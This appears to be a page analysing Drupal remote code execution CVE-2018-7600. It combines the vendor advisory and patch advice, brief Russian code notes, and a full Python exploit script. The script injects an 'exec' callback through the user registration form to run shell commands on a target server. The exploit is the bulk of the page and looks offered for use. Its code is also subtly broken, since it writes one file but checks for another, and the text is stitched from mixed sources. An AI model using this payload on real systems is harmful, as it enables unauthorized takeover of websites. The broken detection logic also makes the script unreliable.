IGLOO Corp, Won Chi Hyun Отчет об анализе Drupal RCE

Drupal RCE CVE-2018-7600

Dont Forget to Put Your Adress into the Script ! Description: A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.

Solution: Upgrade to the most recent version of Drupal 7 or 8 core.

If you are running 7.x, upgrade to Drupal 7.58. (If you are unable to update immediately, you can attempt to apply this patch to fix the vulnerability until such time as you are able to completely update.) If you are running 8.5.x, upgrade to Drupal 8.5.1. (If you are unable to update immediately, you can attempt to apply this patch to fix the vulnerability until such time as you are able to completely update.)

#!/usr/bin/python2.7
'''_____________________________________________________________________
|[] R3DXPL0IT SHELL                                            |ROOT]|!"|
|"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|"| 
|CODED BY > R3DXPLOIT(JIMMY)                                          | |
|EMAIL > [email protected]                                   | |
|GITHUB > https://github.com/r3dxpl0it                                | |
|WEB-PAGE > https://r3dxpl0it.Github.io                               |_|
|_____________________________________________________________________|/|
'''
'''
https://nvd.nist.gov/vuln/detail/CVE-2018-7600#
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
'''
import sys
import requests

def exploit(target):
    pass
    proxies = {}
    verify = False

    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "vulnerable to cve-7600-2018 exploit" | tee r3dxploit.txt'}
    url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
    print ( '[*]' + ' requesting post')
    r = requests.post(url, proxies=proxies, data=payload, verify=verify)
    try:
        scan = requests.get(target + 'vulnerable.txt')
        if scan.status_code != 200:
           print ( ' not vulnerable to cve-2018-7600 exploit \n')
        if scan.status_code == 200:
           print (' vulnerable to cve-2018-7600 exploit')
           print (' url: ' + target + 'vulnerable.txt \n')
    except requests.ConnectionError:
        print (' target connection timeout')
    except Exception as e :
        print ('Connction Failed ' + e )
				

if __name__ == '__main__':
   exploit(sys.argv[1])

Анализ кода.

main -> exploit

argv[1] - аргумент target scan. status_code - вывод результата на основе значения кода состояния Обработка исключений

CVE-2018-7600.

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